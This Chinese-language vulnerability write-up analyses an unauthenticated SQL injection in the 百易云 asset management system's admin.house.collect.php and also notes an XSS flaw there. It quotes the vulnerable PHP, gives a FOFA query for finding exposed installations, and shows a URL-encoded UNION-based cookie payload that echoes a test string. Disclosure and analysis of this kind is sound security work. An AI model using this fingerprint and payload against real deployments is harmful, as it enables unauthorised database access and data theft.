漏洞简介
百易云资产管理运营系统,是专门针对企业不动产资产管理和运营需求而设计的一套综合解决方案。该系统能够覆盖资产的全,包括资产的登记、盘点、评估、处置等多个环节,同时提供强大的运营分析功能,帮助企业优化资产配置,提升运营效率。百易云资产管理运营系统 admin.house.collect.php 接口存在SQL注入漏洞,未经身份验证的远程攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。
fofa语法
body="不要着急,点此"
漏洞分析
先看 admin.house.collect.php 业务逻辑实现部分
<?php
session_start();
error_reporting(E_ALL ^ E_NOTICE ^ E_WARNING);
header("Content-type: text/html; charset=utf-8");
require_once ("../service/house.service.php");
require_once ("../service/userRole.service.php");
require_once ("../com/util.class.php");
$uid = $_SESSION["uid"];
$project_id = $_GET["project_id"];
if ($project_id=='')
$project_id = isset($_SESSION['last_project_id']) ? $_SESSION['last_project_id'] : $_COOKIE['last_project_id'];
$keywords = $_GET["keywords"];
$building_code= $_GET["building_code"];
$house = new house();
$userRole = new userRole();
$retUR=$userRole->getOrgRoleArr($uid,$project_id);
//echo $userRole->getSql();
$chkBuild=false;
if ((count($retUR)>0)&&($retUR[0]["build_codes"]!="")) {
$chkBuild=true;
$arrBuilding=$house->getProjectBuildingList($project_id,$uid);
} else {
$arrBuilding=$house->getProjectBuildingList($project_id);
}
//echo $house->getSql();
if (($keywords !="")||($building_code!="")) {
$title=($keywords !="")?"搜索 【".$keywords."】的结果" : strReplace($building_code,"*","/") ;
$buildMaster=($chkBuild)?$uid:"";
$fee_month=date("Y-m",time());
$arrHouse = $house->getHouseCashList($project_id,$fee_month,$building_code,$keywords,$buildMaster);
//echo $house->getSql();
} else $arrHouse=array();
$project_id 等于 GET 的 project_id 参数或者 SESSION 里的 last_project_id 亦或 cookie 里的 last_project_id ,因此,我们可以通过 Cookie 的 last_project_id 来传参,相比 GET 传参更加隐蔽。
因为在未登录情况下,$retUR=$userRole->getOrgRoleArr($uid,$project_id); 会出错,不会进入下面的 if 而是进入 else 处理逻辑,即进入 getProjectBuildingList 函数,其逻辑如下
public function getProjectBuildingList($project_id,$uid="",$ima="") {
/*
$select="DISTINCT concat(group_name,'/',building_name) as building_name, concat(group_name,'*',building_name) as building_code,building_id,building_code as building_codec";
$where="project_id in (".$project_id.")" ;
if ($uid!="") {
$where.=" and building_code in(select build_code from v_user_build where uid=".$uid." and org_id in (".$project_id."))";
}
*/
$select="DISTINCT b.id as build_id ,g.org_name as group_name,b.org_name as bud_name,concat(g.org_name,'/',b.org_name) as building_name, concat(g.org_name,'*',b.org_name) as building_code,b.org_id as building_id ,b.org_code as building_codec,g.parent_id";
$table="t_org b left join t_org g on b.parent_id=g.id";
$where="g.parent_id in ({$project_id}) and b.org_type=5 ";
if ($uid!="") {
$table.=",t_user_role r";
$where.="and r.uid={$uid} and (r.build_codes='all' or FIND_IN_SET(b.org_code,r.build_codes))";
}
if($ima==1){
$where.="and b.org_code in (select DISTINCT h.building_code from t_house_fee_standard b left join t_house h on b.res_id=h.res_id where b.fee_std_type='ima' and b.project_id in ({$project_id}) and h.project_id in ({$project_id}))";
}
return $this->getList($select, $where , "g.org_name,b.org_name","",$table);
}
可以看到 project_id 均是直接拼接在SQL语句中,无任何过滤或校验,造成SQL注入漏洞。
漏洞复现
GET /wuser/admin.house.collect.php HTTP/1.1
Host: baiyishequ.mrxn.net
Cookie: last_project_id=%31%29%20%75%6e%69%6f%6e%20%61%6c%6c%20%73%65%6c%65%63%74%20%4e%55%4c%4c%2c%4e%55%4c%4c%2c%4e%55%4c%4c%2c%4e%55%4c%4c%2c%43%4f%4e%43%41%54%28%30%78%37%65%2c%30%78%37%34%36%35%37%33%37%34%37%33%37%31%36%63%36%39%2c%30%78%37%65%29%2c%4e%55%4c%4c%2c%4e%55%4c%4c%2c%4e%55%4c%4c%2d%2d%20%61%61

通过联合注入,成功在响应里回显我们的测试字符。
其实这里面的 $keywords 还存在 XSS 漏洞,其无任何过滤和校验被直接拼接到 HTML 输出中
$title = ($keywords != "") ? "搜索 【" . $keywords . "】的结果" : strReplace($building_code, "*", "/");
<div class="weui_cells_title"><?= $title ?></div>
......
function strReplace($source,$A,$B){
return str_replace($A,$B,$source);
} 
